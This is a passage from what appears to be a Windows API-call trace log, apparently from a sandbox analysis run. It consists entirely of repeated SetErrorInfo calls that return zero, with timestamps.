(dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.902] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.903] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.904] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.905] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.906] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.907] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.908] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.909] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.910] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.911] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.912] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.913] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.914] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.914] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.914] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.914] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.914] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.914] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.914] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.914] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.914] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.914] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.915] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.916] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.917] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.918] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.919] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.920] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.921] SetErrorInfo 